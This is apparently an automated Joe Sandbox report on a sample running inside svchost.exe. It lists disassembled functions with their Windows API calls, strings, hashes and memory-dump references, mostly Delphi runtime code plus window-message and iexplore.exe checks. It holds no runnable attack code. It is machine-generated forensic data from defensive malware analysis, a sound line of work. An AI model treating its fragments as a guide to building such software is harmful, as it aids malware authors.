Instruction Fuzzy Hash: C2F01279E04344BEDB11EBF68C1996E77ACDB4A620F525660B520EB5C0D6359910CA11

Function 03E398F4 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 03E398FD
GetProcAddress.KERNEL32(00000000,SwitchToThisWindow), ref: 03E39914
GetProcAddress.KERNEL32(00000000,ChangeWindowMessageFilter), ref: 03E39927

Strings

SwitchToThisWindow, xrefs: 03E3990B
ChangeWindowMessageFilter, xrefs: 03E3991E
user32.dll, xrefs: 03E398F8

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ChangeWindowMessageFilter$SwitchToThisWindow$user32.dll
API String ID: 667068680-2021927898
Opcode ID: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction ID: c147dba891d3fd90cba0090a9a5d85f2cc44bd22ff7f8da3b8010a8c055991db
Opcode Fuzzy Hash: e0b07087b98671536b5b0a5974167c5832d19c11267e81405a5b0331923a73a5
Instruction Fuzzy Hash: 1EF01CB2905308EEDB00FFBBA94D69A77F8DB01514B141695E0189B251E7B06900CB10

Function 03E31ABC Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(Function_0000D5C4,00000000,03E31BB0), ref: 03E31AEB
LocalFree.KERNEL32(00000000,00000000,03E31BB0), ref: 03E31AFD
VirtualFree.KERNEL32(?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B21
LocalFree.KERNEL32(00000000,?,00000000,00008000,00000000,00000000,03E31BB0), ref: 03E31B72
RtlLeaveCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BA0
RtlDeleteCriticalSection.KERNEL32(Function_0000D5C4,03E31BB7,00000000,00000000,03E31BB0), ref: 03E31BAA

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction ID: 3d35fc62428985e93368d40339bec51adcb72c6fc1f370d370a503e3d59f8d60
Opcode Fuzzy Hash: f743af0b18dfa3ed5a23374cd2d53fc59de07804623018730f6baf2c0fec996d
Instruction Fuzzy Hash: CC214C74A08748EFDB11FBA9D84DB9ABBF4EB0B708F146399E4009B690D6749940EF14

Function 03E34ABD Relevance: 9.0, APIs: 6, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000000), ref: 03E32F71
Part of subcall function 03E32F6C: GetKeyboardType.USER32(00000001), ref: 03E32F7D

GetCommandLineA.KERNEL32 ref: 03E34B23
GetVersion.KERNEL32 ref: 03E34B37
GetVersion.KERNEL32 ref: 03E34B48
GetCurrentThreadId.KERNEL32 ref: 03E34B84

Part of subcall function 03E32F9C: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
Part of subcall function 03E32F9C: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
Part of subcall function 03E32F9C: RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

GetThreadLocale.KERNEL32 ref: 03E34B64

Part of subcall function 03E349F4: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,03E34A5A), ref: 03E34A1A

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID:
API String ID: 3734044017-0
Opcode ID: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction ID: 84ca3d71978bd75236454497937b683ce17718ecdedec2366af0cedc1e414135
Opcode Fuzzy Hash: 53797f057a0c22b2cb5a3e06c843ef645a830fe852788c73a455ebf0b56772e8
Instruction Fuzzy Hash: C40180A9408399D9DB11FF73988D3DA3A61AF13744F14775D80405E399E7394145CF62

Function 03E32F9C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FBE
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E32FF1
RegCloseKey.ADVAPI32(?,03E33014,00000000,?,00000004,00000000,03E3300D,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 03E33007

Strings

FPUMaskValue, xrefs: 03E32FE8
SOFTWARE\Borland\Delphi\RTL, xrefs: 03E32FB4

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction ID: 0b51058467841b43481f4048a692edef5fe58c0adc2c92cc9826cbe294de9c68
Opcode Fuzzy Hash: abdd756626b98141ef79555a4a9e903fb89b7fcf554bb413a63df564a6c36b09
Instruction Fuzzy Hash: D201D87D900348BEDB21EBD0CD46FEDB7BCDB05B00F1002A5BA14E7580E6759510DB64

Function 03E39A3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

GetClassNameA.USER32(?,?,000000FA), ref: 03E39A63
CompareStringA.KERNEL32(00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39A84
CompareStringA.KERNEL32(00000400,00000001,?,?,SysPager,00000008,00000400,00000001,?,?,Shell_TrayWnd,0000000D,?,?,000000FA), ref: 03E39AA7

Strings

Shell_TrayWnd, xrefs: 03E39A6D
SysPager, xrefs: 03E39A90

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: CompareString$ClassName
String ID: Shell_TrayWnd$SysPager
API String ID: 3699413841-3765525915
Opcode ID: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction ID: 00069a737dee63874101f19799a1c6f76ac489f8a4032fc20c6a90f7ec0dbf3e
Opcode Fuzzy Hash: c17d1d1da51cbf3787cbf987cdfcfaff9ab4153940c553da0955b7c6d01a1480
Instruction Fuzzy Hash: C901FF75A44248BADB20DBD48C46FEEB3B89B16700F045391BA55EB281D7F15A40DF51

Function 03E36D1C Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36DB3,?,?,00000000), ref: 03E36D34

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

GetThreadLocale.KERNEL32(00000000,00000004,00000000,03E36DB3,?,?,00000000), ref: 03E36D64
EnumCalendarInfoA.KERNEL32(Function_00006C68,00000000,00000000,00000004), ref: 03E36D6F
GetThreadLocale.KERNEL32(00000000,00000003,00000000,03E36DB3,?,?,00000000), ref: 03E36D8D
EnumCalendarInfoA.KERNEL32(Function_00006CA4,00000000,00000000,00000003), ref: 03E36D98

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction ID: c18e671fefcf49bc0f80f41af5e7b6a064c5f52ce06e6a89e98e2f41db562524
Opcode Fuzzy Hash: 5d39138ffed0c839060dd5c20a5f9f7424df2c91f11e5e54be7d0ba1c5ddcd7c
Instruction Fuzzy Hash: 1D01D479240708BED301F6B5CC4AF6E35ACDB43B20F912760E410EF6C4D6749E00C565

Function 03E36DDD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,03E36F96,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03E36DFB

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

yyyy, xrefs: 03E36EED
eeee, xrefs: 03E36F06
ggg, xrefs: 03E36EE0

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction ID: 2fb384a9f4030cdf0cf1a7b7de5609c51799bd426788a2b4cfb5c07382dd32d7
Opcode Fuzzy Hash: 14d6f72e47e31ad80f3850b647f5c5795d0be09a12afd98d1bb5a56a5216af1d
Instruction Fuzzy Hash: 8941AF29704A056BC711EF79C8DC6FEF2B6EB87204FA43765E442AB344D725EA06C621

Function 03E38270 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,03E38781,00000000,03E38794), ref: 03E38276
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 03E38287

Strings

GetDiskFreeSpaceExA, xrefs: 03E38281
kernel32.dll, xrefs: 03E38271

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction ID: c772fcede3d97a74f2403b57cf9933309ea2282838aeba1dad66a5d82c52b219
Opcode Fuzzy Hash: 5243a68da49ee02dec8a8eee4c44b36ac3ceca18a1e888b946e1f5c1a1aa7be9
Instruction Fuzzy Hash: 44D05EB220979A4EDB00EAA7D8CCB9621689F4B104B313324F43479141EA74C4ACCA00

Function 03E37000 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction ID: 6e16f87477f7161afbbd5de9e1da26f42304bf98b05db50a54c1d7656fc6333c
Opcode Fuzzy Hash: b3074ffe284d91f638c87374c6f4ffbe122223c615cfe0f3de58067210485ebd
Instruction Fuzzy Hash: 1141FEB5A0025C9FDB21EB69CC88BDEB7F9AB0A304F4452E5A508EB241D7749F84CF51

Function 03E36FFE Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 03E3701C
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E37040
GetModuleFileNameA.KERNEL32(03E30000,?,00000105), ref: 03E3705B
LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 03E370FF

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction ID: e9c791cc88252ee74d97494cb11d79ca95c7573d2605a7727a1b0ddca8fdf16e
Opcode Fuzzy Hash: c6005ed739661d01dea6441276eca1a3294f204f60782bacfa3415bf0da49b01
Instruction Fuzzy Hash: 09411DB5A0025C9FDB21EB69CC88BDEB7F9AB0A204F4452E5A508EB241D7749F84CF51

Function 03E37D24 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetStringTypeA.KERNEL32(00000809,00000002,?,00000080,?), ref: 03E37E1E
GetThreadLocale.KERNEL32 ref: 03E37D4E

Part of subcall function 03E37CAC: GetCPInfo.KERNEL32(00000000,?), ref: 03E37CC5

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: InfoLocaleStringThreadType
String ID:
API String ID: 1505017576-0
Opcode ID: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction ID: 8a3635915a1a97aaf4e60be28f549a06e74f8ee2f72af26dfd71c7dd739c9626
Opcode Fuzzy Hash: c70e154ea09bcc56bd44360409151a74330964548f19a32559b5f9b660e9ee15
Instruction Fuzzy Hash: 3F3107A15013A8DAD722EB77AC0D3A777F8EB83208F485359D5848F2C5DB354844CB61

Function 03E39238 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?), ref: 03E39266
SetLastError.KERNEL32(00000000,?), ref: 03E39273
GetModuleHandleExA.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E39283
GetLastError.KERNEL32(00000006,03E39238,?,00000000,?), ref: 03E392A8

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: ErrorLast$HandleModule
String ID:
API String ID: 1090667551-0
Opcode ID: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction ID: 1177c059057d9c621da7baba1877315f62e829791363815a48b1181736406eb0
Opcode Fuzzy Hash: 2487f92d6b94e1f8fe7daf521ec0e26ce1a6626155e602586cd1e3c906f4f952
Instruction Fuzzy Hash: 45113C78E08748AFCB40DFA5C484AADFBF5BF49220F1596D5D854AB342E3B09A40CF90

Function 03E3A45C Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

GetWindowInfo.USER32(03E3A53E,?), ref: 03E3A46D
GetSystemMetrics.USER32(00000021), ref: 03E3A480
GetSystemMetrics.USER32(00000033), ref: 03E3A49B
GetSystemMetrics.USER32(00000004), ref: 03E3A4A7

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: MetricsSystem$InfoWindow
String ID:
API String ID: 2832802444-0
Opcode ID: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction ID: 47bc49de90ed04594d7011a49ecd0d5b3dc78756596661c0c458e1276d7dfbc2
Opcode Fuzzy Hash: 215f2ad0ab65d35a76683250377d077abb9d391f45812362298032b999570b6a
Instruction Fuzzy Hash: C5F05475D0130DAFDB40EFE5C94D6DDB7B8AF16250F1053A5A544EF280E6319A84CB51

Function 03E39E3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25windowCOMMON

Download Yara Rule

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39E48

Memory Dump Source

Source File: 0000002C.00000002.20490578470.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002C.00000002.20490534969.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490619150.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002C.00000002.20490664085.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentMessagePostProcess
String ID: PostMessageA
API String ID: 1656095895-3140657398
Opcode ID: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction ID: d037a2f3ad6bdc812db245db23fed1fc707427996a8da4dd29a116643399cfdf
Opcode Fuzzy Hash: d50799e23a21cc18d2e5f0fcfa6d1ae3e6cacaf89010114c09e6911f04f6306b
Instruction Fuzzy Hash: 93E0C9796053089FCB40EBDAD84CE96B3F9E74A615B142640F544DB252C775A840CB50

Analysis Process: svchost.exePID: 3440, Parent PID: 7000COMMON

Executed Functions

Function 03E345D8 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 186
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03E346F3
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03E34700
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03E34706
lstrlen.KERNEL32(00000000), ref: 03E34731
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E34786
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E34796
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 03E347C2
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347D2
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E347FC
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 03E3480C

Strings

Software\Borland\Locales, xrefs: 03E34607, 03E34625
Software\Borland\Delphi\Locales, xrefs: 03E34643

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: 0d4a8a7088d4b22792defebff3a3db9843fcba8d9a6a4c73311eb70cbc31bcbf
Instruction ID: 027d7748506c5a87c4e243fd0419d3990cb98108b6fbf369a26e7d6e62afc838
Opcode Fuzzy Hash: 0d4a8a7088d4b22792defebff3a3db9843fcba8d9a6a4c73311eb70cbc31bcbf
Instruction Fuzzy Hash: FB617175E4034D7EEB20EAE5CC49FEFB7BCDB0A704F4452A5A604E6181DAB49A44CF60

Function 03E3B054 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B11A

Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(?,00000040), ref: 03E38CB0
Part of subcall function 03E38C9C: IsBadReadPtr.KERNEL32(03E3B1E5,00000004), ref: 03E38CDE

GetCurrentProcess.KERNEL32(00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B159
GetCurrentProcessId.KERNEL32(00000000,00000000,0000004A,00000001,0000C209,00000001,0000C208,00000001,0000C20A,00000001,0000C207,00000001,00000000,03E3B1E5), ref: 03E3B16E
PostMessageA.USER32(?,0000C20B,00000000,00000000), ref: 03E3B187
GetCurrentProcessId.KERNEL32(00000000,00000000,03E3B1E5), ref: 03E3B1A7
PostMessageA.USER32(?,0000C20C,00000000,00000000), ref: 03E3B1C0

Part of subcall function 03E38214: GetModuleFileNameA.KERNEL32(00000000,?,00000105,?,?,03E3B08F,00000000,03E3B1E5), ref: 03E3822B

Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
Part of subcall function 03E39B94: OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
Part of subcall function 03E39B94: GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF

Strings

iexplore.exe, xrefs: 03E3B09D

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
